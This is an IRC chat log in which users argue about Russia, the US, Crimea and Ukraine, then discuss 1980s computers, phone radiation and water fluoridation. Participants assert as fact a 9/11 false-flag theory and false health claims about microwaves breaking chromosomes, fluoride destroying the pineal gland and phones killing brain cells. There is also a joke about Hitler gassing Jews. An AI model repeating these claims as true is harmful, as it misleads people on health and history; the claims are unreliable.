msb_	schestowitz: BTW a missile detonates wherever its designers make it detonate. There are penetrator missiles with reinforced noses that can go through the walls of concrete bunkers and detonate inside.	Oct 04 16:03
schestowitz	"msb__In this century, Russia has been about 1/1000th as imperialist as the US, which is attacking it."	Oct 04 16:04
schestowitz	LOL	Oct 04 16:04
schestowitz	if you said decade, well...	Oct 04 16:04
schestowitz	But century, oh dear...	Oct 04 16:04
schestowitz	!google russia invasions east europe	Oct 04 16:05
TechrightsBot-tr	[1] - Russian Non-Invasion Causing Concern in European Capitals \| http://russia-insider.com/en/russian-non-invasion-causing-concern-european-capitals/ri8139	Oct 04 16:05
TechrightsBot-tr	[2] - Put British troops in Eastern Europe to see off invasion by Vladimir ... \| http://www.dailymail.co.uk/news/article-3217529/Put-British-troops-Eastern-Europe-invasion-Vladimir-Putin-s-Russia-says-new-report.html	Oct 04 16:05
TechrightsBot-tr	[3] - Russia and Eastern Europe: How worried should Poland, the Baltic ... \| http://www.slate.com/blogs/the_world_/2014/09/19/russia_and_eastern_europe_how_worried_should_poland_the_baltic_states_and.html	Oct 04 16:05
TechrightsBot-tr	[4] - Military occupations by the Soviet Union - Wikipedia, the free ... \| https://en.wikipedia.org/wiki/Military_occupations_by_the_Soviet_Union	Oct 04 16:05
msb_	I meant after 2000.	Oct 04 16:05
schestowitz	selective timelines	Oct 04 16:05
msb_	Not in the last 100 years.	Oct 04 16:05
schestowitz	how do you think Russia got this massive in the first place?	Oct 04 16:05
schestowitz	They used to have what is now Alaska too	Oct 04 16:05
schestowitz	"DaemonFCMinceR, Puerto Rico is being treated terribly by the United States."	Oct 04 16:09
schestowitz	Same as Guam and the Philippines, which is just being looted, not even a territory per se	Oct 04 16:09
schestowitz	(except for military bases with bait for China to worry about)	Oct 04 16:09
schestowitz	msb_: want to move to Russia?	Oct 04 16:09
schestowitz	Maybe somewhere near Siberia? I heard it's lovely in summer	Oct 04 16:10
schestowitz	you might even get a lada and some wheat	Oct 04 16:10
schestowitz	don't complain in a blog or a personal site, some vigilante might do some regretful thing...	Oct 04 16:10
schestowitz	People rush out of Russia (sometimes the capital too) not just as economic migrants	Oct 04 16:11
msb_	The US govt did the 911 attack. The WTC evidence proves it. Using the 911 false-flag as the pretext, the US then bombed, missiled, strafed and destr0yed the infrastructure of Afghanistan, Iraq, Libya, and most of Syria, murdering TWO MILLION PEOPLE. The govt has admitted that its excuse of "WMD in Iraq" was a lie. Other than annexing Crimea at its overwhelming request, Russia has done nothing like this.	Oct 04 16:11
schestowitz	"	Oct 04 16:13
schestowitz	msb__"Accuracy in Media" is an American ultra-rightwing propaganda organization.Sep 17 03:25	Oct 04 16:13
schestowitz	msb__So is "National Review"	Oct 04 16:13
schestowitz	"	Oct 04 16:13
schestowitz	The latter isn't	Oct 04 16:13
msb_	That depends on one's political orientation.	Oct 04 16:15
*schestowitz reads msb_ rants in favour of Russia and against US		Oct 04 16:17
schestowitz	the main issue i have is, many regard the US as "good"	Oct 04 16:17
schestowitz	and russia as "evil"	Oct 04 16:17
schestowitz	but both are evil	Oct 04 16:17
schestowitz	Some regard saudi and singapore as developed	Oct 04 16:17
schestowitz	because they have money	Oct 04 16:17
schestowitz	but they're just a bunch of barbarians	Oct 04 16:17
schestowitz	so we need to change perceptions, to align with reality, not with who pays most to the media	Oct 04 16:18
schestowitz	!google wikileaks saudi bribes media	Oct 04 16:18
TechrightsBot-tr	[1] - The Saudi Cables - WikiLeaks \| https://wikileaks.org/saudi-cables/press	Oct 04 16:18
TechrightsBot-tr	[2] - Wikileaks: Here's What #SaudiCables Said About Tunisia \| http://www.tunisia-live.net/2015/06/22/wikileaks-heres-what-we-learned-from-saudicables-part-1/	Oct 04 16:18
TechrightsBot-tr	[3] - 'Saudi Cables release is just one tenth of what we have' – WikiLeaks to \| http://rt.com/news/268948-wikileaks-saudi-documents-new/%3F	Oct 04 16:18
TechrightsBot-tr	[4] - Petrodollar Bribery, Smear Campaigns: The Wikileaks Saudi Cables ... \| http://www.globalresearch.ca/petrodollar-bribery-smear-campaigns-the-wikileaks-saudi-cables/5459287	Oct 04 16:18
schestowitz	msb_: for the US to be bad doesn't require Russia to be "good"	Oct 04 16:18
schestowitz	something in a fight it's not good vs evil	Oct 04 16:19
schestowitz	but two evils	Oct 04 16:19
schestowitz	same re stalin and hitler	Oct 04 16:19
msb_	There are degrees of evil. The US has recently destr0yed 4 nations and murdered two million people. Russia has not recently done anything like that, and is trying to protect what's left of Syria from ISIL and Al Qaeda.	Oct 04 16:19
schestowitz	army and media at war also frame these as "good" vs "evil", like in children's book	Oct 04 16:19
schestowitz	look what russia does around crimea and ukraine	Oct 04 16:19
schestowitz	not unprovoked	Oct 04 16:19
schestowitz	alas, it raises hell	Oct 04 16:20
msb_	It protected the people of Crimea.	Oct 04 16:20
schestowitz	lol	Oct 04 16:20
msb_	Who asked for its protection.	Oct 04 16:20
schestowitz	like Israel protected Syrians when it invaded and grabbed land from Syria	Oct 04 16:20
msb_	Red Herring	Oct 04 16:20
schestowitz	Like the US protected south vietnam	Oct 04 16:20
msb_	Red Herring	Oct 04 16:20
schestowitz	and firebombed the place	Oct 04 16:21
schestowitz	and dumped toxins	Oct 04 16:21
schestowitz	killing millions for many years to come	Oct 04 16:21
schestowitz	"msb__The Crimeans voted to be part of Russia."	Oct 04 16:21
schestowitz	Sock Doctrine	Oct 04 16:21
schestowitz	*Shock	Oct 04 16:21
schestowitz	which you like to cire	Oct 04 16:21
schestowitz	*cite	Oct 04 16:22
msb_	None of which has any connection whatsoever to the events in Crimea. But you mention them to distract people's attention from that discussion.	Oct 04 16:22
schestowitz	people vote for militant politicians when they're under war	Oct 04 16:22
msb_	They voted against the Nazi Ukraine government, which was bombing and shelling them, and voted to join Russia.	Oct 04 16:23
schestowitz	Crimea made the right decision, if they voted this way at all, given what the Russian response made of the Ukraine... little better than Syria, esp. at the east	Oct 04 16:23
msb_	If Russia had protected other regions of East Ukraine, you would now be accusing them of being violent invaders.	Oct 04 16:24
schestowitz	it didn't protect	Oct 04 16:26
schestowitz	it annexed	Oct 04 16:26
schestowitz	protect is the occupier's language	Oct 04 16:26
schestowitz	protect from who?	Oct 04 16:26
schestowitz	Kiev?	Oct 04 16:26
schestowitz	the US "protected" Iraq	Oct 04 16:26
schestowitz	the US "protected" Vietnam	Oct 04 16:26
schestowitz	China "protected" Tibet	Oct 04 16:27
schestowitz	John "protected" his wife	Oct 04 16:27
msb_	Four Red Herrings in a row.	Oct 04 16:27
schestowitz	nope	Oct 04 16:27
msb_	Your propaganda technique is primitive.	Oct 04 16:28
msb_	How would Russia have protected Crimeans without annexing Crimea (which is what they voted for)? Fight an ongoing hot war with the Nazi Ukraine government with no end?	Oct 04 16:29
schestowitz	protect from who?	Oct 04 16:29
msb_	Yes, protect from Kiev's bombers and artillery.	Oct 04 16:29
schestowitz	The examples I gave are better	Oct 04 16:29
schestowitz	because then there was legitimate threat	Oct 04 16:29
schestowitz	not a made up one	Oct 04 16:30
schestowitz	so kiev was going to bomb crimea?	Oct 04 16:30
schestowitz	Why does not not do so not?	Oct 04 16:30
schestowitz	It's within range, easily...	Oct 04 16:30
msb_	"Why does not not do so not?" does not parse	Oct 04 16:31
schestowitz	why does it not do so now?	Oct 04 16:32
schestowitz	"	Oct 04 16:33
schestowitz	XRevan86Damn, Windows 10 doesn't violate Russian Federation law about information security because EULA.Sep 18 14:53	Oct 04 16:33
schestowitz	XRevan86Source: http://rapsinews.ru/incident_news/20150918/274582334.htmlSep 18 14:54	Oct 04 16:33
schestowitz	XRevan86That doesn't really make much sense.	Oct 04 16:33
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schestowitz	"	Oct 04 16:33
schestowitz	Circular logic there	Oct 04 16:33
schestowitz	Russian reversal maybe?	Oct 04 16:33
schestowitz	In Russia, EULA comply with State!	Oct 04 16:34
XRevan86	schestowitz: Seems like it.	Oct 04 16:34
schestowitz	"\|also, i realized canada no longer has rule of law, thanks to harper.\|"	Oct 04 16:38
schestowitz	Even worse based on what I heard today from some of my wife's friends in Canada	Oct 04 16:38
schestowitz	They're very immigration-hostile	Oct 04 16:38
schestowitz	and they seem to be more blatant about it, Rump style	Oct 04 16:38
schestowitz	"	Oct 04 16:39
schestowitz	MinceRhttp://www.huffingtonpost.ca/2015/05/13/omnibus-budget-bill-rewri_n_7275002.htmlSep 19 03:12	Oct 04 16:39
schestowitz	MinceRit's like he's copying orbanSep 19 03:12	Oct 04 16:39
-TechrightsBot-tr/#techrights-www.huffingtonpost.ca \| Harper Government Retroactively Rewrites Gun Registry Law [ http://ur1.ca/ncn7n ]		Oct 04 16:39
schestowitz	MinceR(who's copying putin)	Oct 04 16:39
schestowitz	"	Oct 04 16:39
schestowitz	it's more like the US model	Oct 04 16:39
schestowitz	post-Revolution	Oct 04 16:39
schestowitz	they still think it's 1776	Oct 04 16:39
schestowitz	and that the British might come back to occupy in their large boats	Oct 04 16:40
schestowitz	(or maybe the Mexicans with their armalites and weaponised fishing boats ^_^ )	Oct 04 16:40
schestowitz	MinceR: better try use your EU citizenship and get a work visa in the UK...	Oct 04 16:41
schestowitz	there's lack of FOSS skills here	Oct 04 16:41
schestowitz	at the same time, a lot of the gov. moves to FOSS and must embrace ODF	Oct 04 16:42
schestowitz	then find support contracts	Oct 04 16:42
schestowitz	!google hungary libreoffice conference	Oct 04 16:42
TechrightsBot-tr	[1] - Migration » LibreOffice Conference \| https://conference.libreoffice.org/2015/the-program/talks/migration-user-experiance-and-marketing/	Oct 04 16:42
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schestowitz	it was said that hungary is very backwards in the sense, in the conference a few weeks ago	Oct 04 16:43
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MinceR	http://www.pidjin.net/2015/10/02/mein-car/	Oct 04 16:46
-TechrightsBot-tr/#techrights-www.pidjin.net \| Mein Car - Fredo and Pidjin. The Webcomic. [ http://ur1.ca/nwy0r ]		Oct 04 16:46
MinceR	schestowitz: i can't afford to move yet	Oct 04 16:46
MinceR	215820 < schestowitz> MinceR: https://i.imgur.com/uouetAb.jpg maybe better for the ignorant	Oct 04 16:46
MinceR	until it affects them	Oct 04 16:47
MinceR	then suddenly it will get very bad for them	Oct 04 16:47
schestowitz	"	Oct 04 16:50
schestowitz	MinceRsurprise surprise, foreign investors and local businesses are fleeing the countrySep 19 22:30	Oct 04 16:50
schestowitz	MinceRonly the companies who made a pact with the government for cheap slave labor remain on the long term	Oct 04 16:50
schestowitz	"	Oct 04 16:50
schestowitz	Time for egg throwing at egghead nadella?	Oct 04 16:50
schestowitz	MinceR: ok, if you ever want a new challenge, maybe I can personally do what I can to assist	Oct 04 16:50
schestowitz	"MinceRdumbFuckBook violates people's privacy in every way they can and most people can't even conceive of not having a dumbFuckBook account"	Oct 04 16:53
schestowitz	They still have Web browser with cookie support ^_^	Oct 04 16:53
schestowitz	So they're passive useds	Oct 04 16:53
schestowitz	"Many years ago I participated in a cannabis test at the SF Veterans Hospital, and smoked some atrocious NIH pot." -msb__	Oct 04 16:55
schestowitz	the experiment succeeded	Oct 04 16:56
msb_	MinceR: Wouldn't Hitler _want_ the car to emit toxic gas? (For Jews, Gypsies...)	Oct 04 16:56
MinceR	duh	Oct 04 16:56
MinceR	schestowitz: egg throwing doesn't fix the laws	Oct 04 16:57
MinceR	nor does it help enforce antitrust/antimonopoly law	Oct 04 16:57
MinceR	though if the egg was launched at a sufficiently high velocity, that would be slightly different	Oct 04 16:57
msb_	schestowitz: Please explain: " <schestowitz> the experiment succeeded"	Oct 04 16:58
MinceR	schestowitz: also, the UK won't be a great destination once cameron manages to ban encryption and leave the EU	Oct 04 16:59
msb_	schestowitz: Please explain: " <schestowitz> the experiment succeeded"	Oct 04 17:03
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msb_	schestowitz: No answer. I guess "the experiment succeeded" is yet another lying smear attack, like: "msb_'s nonsense", "want to move to Russia?", "msb_ rants". You use these because you've never disproved anything I've said. So you resort to lying smears and personal insults.	Oct 04 17:11
MinceR	keep repeating that, maybe someone will believe it	Oct 04 17:12
msb_	schestowitz: I expect better from you, because you do such a good job of seeing through and exposing microsoft's lies and the dangers of swpats.	Oct 04 17:15
MinceR	then it's no surprise he also sees through putin's propaganda	Oct 04 17:16
schestowitz	"On one recent RT show, a journalist blamed Putin for 8,000 deaths in Donbass because he promised to protect the people there, and when they asked for autonomy and were shelled by the Kiev Nazi govt, Putin did nothing."	Oct 04 17:28
schestowitz	LOl!!!	Oct 04 17:28
schestowitz	RT says Putin too soft	Oct 04 17:28
MinceR	he should try viagra	Oct 04 17:28
schestowitz	lol	Oct 04 17:28
schestowitz	putintin	Oct 04 17:28
schestowitz	"can't"	Oct 04 17:28
MinceR	maybe it would lessen the compulsion for the fascistic macho posturing	Oct 04 17:28
schestowitz	does he have offsping?	Oct 04 17:29
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schestowitz	/s/he/it/	Oct 04 17:29
MinceR	dunno	Oct 04 17:29
schestowitz	RT criticises Putin	Oct 04 17:30
schestowitz	for being too pacifist	Oct 04 17:30
schestowitz	See? RT is "tough" on Putin	Oct 04 17:30
MinceR	unfortunately, putin has bred	Oct 04 17:30
schestowitz	Xrvan fled	Oct 04 17:30
schestowitz	maybe could take the insults of putit-in	Oct 04 17:30
MinceR	nah, he parts at random times	Oct 04 17:30
schestowitz	ah, ok	Oct 04 17:31
schestowitz	so we have a king	Oct 04 17:31
schestowitz	now he had a heir	Oct 04 17:31
schestowitz	time for a spare	Oct 04 17:31
schestowitz	"	Oct 04 17:33
schestowitz	__martin__"a Microsoft researcher worked with computer scientists from West Virginia University and UC Santa Barbara to create a Twitter platform called "Botivist," which acts as a tool for activists to recruit volunteers on social media for campaigns"Sep 22 21:27	Oct 04 17:33
schestowitz	__martin__"As for Microsoft’s involvement, the paper appears on the company's research site, although Savage said she was told not to talk about the company’s involvement. The Microsoft researcher, Andres Monroy-Hernandez, did not respond to my request for comment on why Microsoft took part in the work. The paper will be presented at the 2016 ACM conference on Computer-Supported Cooperative Work and SociaSep 22 21:28	Oct 04 17:33
schestowitz	__martin__l Computing, according to Microsoft’s site."	Oct 04 17:33
schestowitz	"	Oct 04 17:33
schestowitz	Marketing first	Oct 04 17:33
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gde33	this was great http://www.historytoday.com/peter-frankopan/world-we-have-lost	Oct 04 17:37
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MinceR	http://www.libri.hu/konyv/magyar_balint.magyar-polip.html	Oct 04 17:55
-TechrightsBot-tr/#techrights-www.libri.hu \| Knyv: Magyar polip (Magyar Blint (Szerk.)) [ http://ur1.ca/nwyek ]		Oct 04 17:55
MinceR	this book mentions the putin model, though it focuses on the orban regime	Oct 04 17:55
schestowitz	Rump... https://i.chzbgr.com/full/8567675648/hCF036023/	Oct 04 17:58
schestowitz	did he really make all these faces and if so when? (context)	Oct 04 17:58
schestowitz	https://twitter.com/TedBehr/status/650792315712221184	Oct 04 18:00
-TechrightsBot-tr/#techrights-@TedBehr: @schestowitz Interesting.		Oct 04 18:00
cubexyz	what I find interesting is how people understand less and less about their computers	Oct 04 18:03
cubexyz	when I talk to older Unix folks, they know a lot about fixing their old PDP-11s	Oct 04 18:03
schestowitz	cubexyz: re http://www.maxhost.org/other/ancedote-windows-bsod.txt	Oct 04 18:03
schestowitz	should be anecdote	Oct 04 18:03
cubexyz	right :)	Oct 04 18:04
cubexyz	those are just quick text files I whip up	Oct 04 18:05
cubexyz	anything I find interesting enough to keep	Oct 04 18:05
cubexyz	ok... as I was saying... old Unix peeps know more about their old PDP-11s than we know about our modern PCs	Oct 04 18:06
cubexyz	part of that is that PDP-11s are a lot simpler and easier to understand	Oct 04 18:06
cubexyz	but the general trend is notable	Oct 04 18:07
cubexyz	PDP-11s had no BIOS as we understand the term	Oct 04 18:07
schestowitz	"MinceRhttps://web.archive.org/web/20141129114502/http://boycottsystemd.org/lennart1.png"	Oct 04 18:07
MinceR	pdp-11s are also probably a lot less secret	Oct 04 18:07
-TechrightsBot-tr/#techrights- ( status 403 @ https://web.archive.org/web/20141129114502/http://boycottsystemd.org/lennart1.png )		Oct 04 18:07
schestowitz	"MinceRhttp://img.linuxfr.org/img/68747470733a2f2f6861636b2d6c696272652e6f72672f66696c65732f6c697672655f7072c3a966c3a972c3a95f6c656e6e6172742d35303070782e6a7067/livre_pr%C3%A9f%C3%A9r%C3%A9_lennart-500px.jpg"	Oct 04 18:07
-TechrightsBot-tr/#techrights- ( status 404 @ http://img.linuxfr.org/img/68747470733a2f2f6861636b2d6c696272652e6f72672f66696c65732f6c697672655f7072c3a966c3a972c3a95f6c656e6e6172742d35303070782e6a7067/livre_pr%C3%A9f%C3%A9r%C3%A9_lennart-500px.jpg )		Oct 04 18:07
schestowitz	Both links broken for me	Oct 04 18:07
MinceR	yeah, they're abusing robots.txt now	Oct 04 18:08
MinceR	or rather, the domain is parked	Oct 04 18:08
MinceR	and they tend to do shit like this when parked	Oct 04 18:08
gde33	cubexyz: in the commodore 64 days people would know all the opcodes (even the undocumented ones) and many would know a large part of the rom (opperating system)	Oct 04 18:08
cubexyz	gde33, that's true	Oct 04 18:08
cubexyz	the roms were small enough and relatively easy to understand	Oct 04 18:09
gde33	it goes back further, today ##programming knows next to nothing about ##electronics	Oct 04 18:09
schestowitz	cubexyz: "that reminds me, do we really need a #boycottnovell still?"	Oct 04 18:09
schestowitz	won't hurt	Oct 04 18:09
gde33	the abstractions have less to do with how things work under the hood but cate to the way humans view stuff	Oct 04 18:10
gde33	cater	Oct 04 18:10
cubexyz	ok, you might remember I talked about BIOS startup sequence which was send out the serial port on bootup	Oct 04 18:10
cubexyz	PDP-11s had the SLU or Serial Line Unit that did the same thing	Oct 04 18:11
MinceR	schestowitz: i think it was this: https://i.warosu.org/data/g/img/0435/95/1408121072612.png	Oct 04 18:11
-TechrightsBot-tr/#techrights-SSL connect error ( status 0 @ https://i.warosu.org/data/g/img/0435/95/1408121072612.png )		Oct 04 18:11
gde33	haha, I guess it's like vegitables are more tasty when combined with less tasty foods https://soylentnews.org/article.pl?sid=15/10/02/1348247&from=rss	Oct 04 18:11
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cubexyz	I felt I had a much better understand of the c64 than a modern PC, even though I've studied the modern PC a lot longer	Oct 04 18:12
cubexyz	s/understand/understanding/	Oct 04 18:12
cubexyz	but it had terrible IO :)	Oct 04 18:12
TweetTuxMachines	@tuxmachines Linux 4.3-rc4 http://t.co/foV3V2mkEV	Oct 04 18:13
TweetTuxMachines	(www.tuxmachines.org)	Oct 04 18:13
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schestowitz	MinceR: ah, I know this one	Oct 04 18:13
TweetTuxMachines	@tuxmachines How Debian managed the systemd transition	Oct 04 18:13
TweetTuxMachines	https://t.co/0EJVOaJDLq (lwn.net)	Oct 04 18:13
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cubexyz	the old c64 BASIC ROM was what... 8K in size?	Oct 04 18:13
schestowitz	MinceR: the new Red Hat uniform	Oct 04 18:13
MinceR	:>	Oct 04 18:13
cubexyz	bah, systemd	Oct 04 18:14
MinceR	001128 < gde33> haha, I guess it's like vegitables are more tasty when combined with less tasty foods https://soylentnews.org/article.pl?sid=15/10/02/1348247&from=rss	Oct 04 18:15
MinceR	or they could try preparing them properly	Oct 04 18:15
MinceR	use the right spices also	Oct 04 18:15
schestowitz	"XRevan86: how is the current russia different from the ussr?"	Oct 04 18:15
schestowitz	Microsoft vs New Microsoft	Oct 04 18:15
gde33	there is nothing wrong with how they taste until you try combine them with overly processed foods	Oct 04 18:15
schestowitz	The latter keeps saying it has changed	Oct 04 18:16
schestowitz	while doing exactly the same things as before	Oct 04 18:16
cubexyz	the 1980s computers should be studied	Oct 04 18:16
schestowitz	where? In landfills?	Oct 04 18:16
schestowitz	Or in their original habitats?	Oct 04 18:16
XRevan86	"Old Russia" had no oligarhs	Oct 04 18:16
cubexyz	that's when the whole windows stuff started	Oct 04 18:16
gde33	yeah, good point	Oct 04 18:17
gde33	calculators at the time were madly sophisticated	Oct 04 18:17
gde33	where is the solar powered smart phone?	Oct 04 18:17
schestowitz	now there are PDAs	Oct 04 18:17
gde33	you get one of those tiny cells, that should be enough to power the pocket calculator of 2015	Oct 04 18:17
msb_	Vegetables are delicious when not overcooked.	Oct 04 18:18
gde33	I'm not sohpisticated enough but in theory you should be able to receave calls with a crystal radio not using any power	Oct 04 18:18
gde33	at least not while on standby	Oct 04 18:18
cubexyz	you can receive radio waves	Oct 04 18:18
cubexyz	it's very faint	Oct 04 18:18
cubexyz	we used to build crystal radios	Oct 04 18:18
gde33	I think the modern phone has to sort out tons of data not aimed for that client	Oct 04 18:19
MinceR	it has to deal with a lot of superfluous crap	Oct 04 18:19
MinceR	extra GUI bling, bloated applications and the "modern" web	Oct 04 18:20
gde33	each handset could negotiate a frequency with the local tower	Oct 04 18:20
msb_	With a long antenna, sensitive earphones, and a powerful AM station, a crystal set worked.	Oct 04 18:20
MinceR	they ran out of bandwidth for that long ago	Oct 04 18:20
gde33	msb_: all we need is to bridge the idle time without use of power	Oct 04 18:20
cubexyz	oh so it wouldn't work nowdays?	Oct 04 18:20
MinceR	solely frequency-division multiplexing, i mean	Oct 04 18:20
gde33	LIFI is the future	Oct 04 18:21
gde33	I always knew	Oct 04 18:21
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gde33	microwaving people is a dumb idea, this was known from the start	Oct 04 18:21
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gde33	it is also slow compared to light	Oct 04 18:21
MinceR	the microwave portion of technophobia?	Oct 04 18:21
r_schestowitz	[23:17] <schestowitz> gde33: people now want a 'phone' they can watch pr0n on in the dark	Oct 04 18:21
r_schestowitz	[23:18] <schestowitz> they might also explain why phones are getting bigger again	Oct 04 18:22
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r_schestowitz	router just went funny, can someone paste from scroll/buffer	Oct 04 18:22
MinceR	people will make up ways in which light is evil	Oct 04 18:22
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r_schestowitz	<gde33> microwaving people is a dumb idea, this was known from the start	Oct 04 18:22
gde33	the microwaves are safe propaganda is just like the smoking propaganda	Oct 04 18:22
r_schestowitz	I avoided phones originally for this reasons	Oct 04 18:22
gde33	or like the DDT propaganda	Oct 04 18:22
r_schestowitz	later because of spying	Oct 04 18:22
cubexyz	I think xchat has a file for that... let me check	Oct 04 18:22
r_schestowitz	just the last few lines	Oct 04 18:23
MinceR	r_schestowitz: what's the last line you saw?	Oct 04 18:23
r_schestowitz	[23:17] <schestowitz> now there are PDAs	Oct 04 18:23
MinceR	gde33: how much power does a modern cell phone radio output?	Oct 04 18:23
cubexyz	http://www.maxhost.org/other/scrollback-now.txt	Oct 04 18:23
r_schestowitz	then the connection dropped in the whole house afaict	Oct 04 18:23
cubexyz	how's that?	Oct 04 18:23
r_schestowitz	fast	Oct 04 18:24
MinceR	r_schestowitz: is pastebin.ca ok?	Oct 04 18:24
MinceR	r_schestowitz: also, is one month expiry ok?	Oct 04 18:25
r_schestowitz	cubexyz: will make up for it in a fortnight when I grab logs from Canada	Oct 04 18:25
cubexyz	http://www.maxhost.org/other/scroll-more.txt	Oct 04 18:25
cubexyz	there, that goes a bit farther back	Oct 04 18:25
r_schestowitz	MinceR: just lost a few lines, I think, no big deal	Oct 04 18:25
gde33	MinceR: compared to what? background radiation? oh - its fucking HUGE	Oct 04 18:25
MinceR	gde33: compared to something that changes the temperature of a spoonful of water appreciably	Oct 04 18:25
gde33	temprature is one of the industry talking points	Oct 04 18:26
MinceR	no, it's physics	Oct 04 18:26
gde33	so is brain cancer	Oct 04 18:26
gde33	I'm smoking right now btw	Oct 04 18:26
cubexyz	I don't use cell phones	Oct 04 18:26
MinceR	i've also heard that microwaving "erases the water's DNA" :>	Oct 04 18:26
gde33	a basic in medical science is to listen to the patients and document the sympthoms	Oct 04 18:27
cubexyz	are LIFI devices available?	Oct 04 18:27
gde33	if that data is to be discarded you are indeed in physics not in medical science	Oct 04 18:27
MinceR	so you also need to psychologically evaluate the patient	Oct 04 18:28
r_schestowitz	"XFaCE r_schestowitz: https://twitter.com/wikileaks/status/647410648079577090"	Oct 04 18:28
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MinceR	the nocebo effect would hurt them noticeably	Oct 04 18:28
-TechrightsBot-tr/#techrights--> www.stockholminternetforum.se \| First #SIF15 session revealed – Gender based violence online \| Stockholm Internet Forum		Oct 04 18:28
r_schestowitz	"XFaCE r_schestowitz: https://www.washingtonpost.com/news/the-intersect/wp/2015/09/24/the-united-nations-has-a-radical-dangerous-vision-for-the-future-of-the-web/ "	Oct 04 18:28
r_schestowitz	XFaCE: thanks, seen that	Oct 04 18:28
r_schestowitz	also heard of the latter	Oct 04 18:28
gde33	if a physicist says you are imagining stuff he is practishing pseudoscience	Oct 04 18:28
r_schestowitz	they're tired of using religion and "feel offended" I guess	Oct 04 18:29
r_schestowitz	they now appear to >50% of the population	Oct 04 18:29
MinceR	what is a person practicing if they make up reasons to be afraid of anything new?	Oct 04 18:29
cubexyz	MinceR, I'm windows-10-aphobic!	Oct 04 18:29
gde33	no doctor approaches his patient by starting out with the assumption she is imagining stuff	Oct 04 18:29
cubexyz	it's real	Oct 04 18:29
msb_	The injury from microwaves is not from heating, but from the difference in microwave permeability between chromosomes and cytoplasm (or nucleoplasm). The result is like iron filings lining up in a magnetic field. This causes breaks or other changes in the chromosomes of dividing cells. At much lower field strength than causes heating.	Oct 04 18:29
MinceR	cubexyz: but you know what vista10 is like	Oct 04 18:29
gde33	MinceR: that could be a fair conclusion	Oct 04 18:30
gde33	MinceR: not a point to start your investigation from	Oct 04 18:30
gde33	a psychologist is trained to conclude if people are afraid of new things or not	Oct 04 18:31
gde33	well outside the realm of physics ;)	Oct 04 18:31
MinceR	gde33: are you trained to conclude of microwaves emitted by mobile devices harm people or not?	Oct 04 18:31
MinceR	s/of/if/	Oct 04 18:31
cubexyz	I'd say it's prefectly normal not to automatically accept new things until you study them a bit	Oct 04 18:32
gde33	MinceR: I follow the research from time to time	Oct 04 18:32
gde33	it is one of the differences between the US and Europe. In the US things are safe until proven unsafe.	Oct 04 18:32
cubexyz	would you eat a mushroom you didn't know about? Of course not	Oct 04 18:33
gde33	Here they have to fabricate a report of safety first	Oct 04 18:33
gde33	haha	Oct 04 18:33
gde33	would you take a vacine if the ingredients are not disclosed?	Oct 04 18:33
cubexyz	probably not	Oct 04 18:33
gde33	is it up to a dentist to determine the effect of fluoride?	Oct 04 18:33
MinceR	cubexyz: would you eat a mushroom dish served at a reastaurant if you didn't know that species of mushroom?	Oct 04 18:33
gde33	do dentists know how it kills neurons?	Oct 04 18:34
cubexyz	MinceR, on pizza I have	Oct 04 18:34
MinceR	i don't think fluoridated toothpaste is evaluated to allow to the market by dentists	Oct 04 18:34
r_schestowitz	"	Oct 04 18:34
r_schestowitz	kyleriggsomeone told me you are into the 9/11 stuffSep 26 04:24	Oct 04 18:34
r_schestowitz	kyleriggon google groups	Oct 04 18:34
r_schestowitz	"	Oct 04 18:34
cubexyz	on the forest trail, no :)	Oct 04 18:34
r_schestowitz	Oh dear...	Oct 04 18:34
MinceR	s/reast/rest/	Oct 04 18:34
gde33	it is perfectly illegal here to either fluoridate water or to transport food prepaired with it	Oct 04 18:34
MinceR	lol	Oct 04 18:34
msb_	Received field strength varies as the inverse square of the distance from the antenna. So if you put the antenna at the end of a 10-foot cable, or on a repeater at the end of a 10-foot ethernet cable, you'll be fine.	Oct 04 18:35
MinceR	afaik water is not fluoridated in europe	Oct 04 18:35
r_schestowitz	water here is clean, with little need for treatment	Oct 04 18:35
r_schestowitz	here as in manchester, not london	Oct 04 18:35
MinceR	though there are places (at least in north america) where the water contains fluoride naturally	Oct 04 18:35
r_schestowitz	water has has traces of arsenic in it, IIRC, in some places	Oct 04 18:36
r_schestowitz	and chlorine	Oct 04 18:36
cubexyz	I assume flouridation did help stop cavities	Oct 04 18:36
gde33	the phone radiation kills a ton of brain cells but we can function just fine - just like if we get drunk every day	Oct 04 18:36
cubexyz	at least that's what the experts said	Oct 04 18:36
gde33	until you have some kind of condition of course	Oct 04 18:36
r_schestowitz	the obsession with flouride shows that some people stick to just one set of theories, like the anti-vaxxers	Oct 04 18:36
r_schestowitz	same regarding toothpastes	Oct 04 18:36
gde33	arsenic and chorine are aweful	Oct 04 18:37
MinceR	i think water fluoridation with the purpose of having it contact teeth is about as wasteful a method as they could possibly find	Oct 04 18:37
r_schestowitz	I thought it's the opposite	Oct 04 18:37
gde33	I dont see an excuse there to just spike the drink with an artifical stupefier	Oct 04 18:37
MinceR	you wash stuff with the stuff, eat it, drink it, water the plants with it	Oct 04 18:37
MinceR	when all you needed is to put some in your toothpaste	Oct 04 18:37
r_schestowitz	that the reason water had flouride in it is toothpastes washed down the sink, water later recycled	Oct 04 18:37
MinceR	which regularly contacts the teeth as its purpose	Oct 04 18:37
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cubexyz	probably your calcium intake would play a big role	Oct 04 18:38
msb_	Fluoride (note spelling) calcifies and destr0ys the pineal gland, which otherwise would produce melatonin and DMT.	Oct 04 18:38
cubexyz	how would you even know if you're getting the right amount?	Oct 04 18:38
gde33	it is a waste product that would cost a ton of cash to process if they couldnt dump it in the drink	Oct 04 18:38
gde33	however you want to see it, it is a type of forced medication without required approval from the patient.	Oct 04 18:39
MinceR	indeed	Oct 04 18:39
cubexyz	evidently fluoride helps remineralization	Oct 04 18:40
gde33	people who are more sensitive to electricity usually have some kind of condition	Oct 04 18:40
cubexyz	you don't want to lose your teeth	Oct 04 18:40
gde33	electicity + phones	Oct 04 18:40
MinceR	keep them in a pouch!	Oct 04 18:40
gde33	the classic example is lead tubing	Oct 04 18:40
r_schestowitz	https://twitter.com/FrancisJeffrey7/status/650802363091947520	Oct 04 18:40
-TechrightsBot-tr/#techrights-@FrancisJeffrey7: @petehague @schestowitz @wikileaks "Destroy...Militarism ==> Enlist ?" ? ? ?		Oct 04 18:40
gde33	people drinking from that are loaded up with metals	Oct 04 18:40
MinceR	phones should not expose any electrically live parts	Oct 04 18:40
MinceR	to the user	Oct 04 18:40
gde33	that obviously react to microwaves	Oct 04 18:40
MinceR	afaik only the retards working at "engineering" at crApple do that	Oct 04 18:41
cubexyz	I hear that toothpaste before the 1970s didn't have fluoride?	Oct 04 18:42
gde33	reduced health from lead + great reception + global gsm reception = you are going to have a bad time	Oct 04 18:42
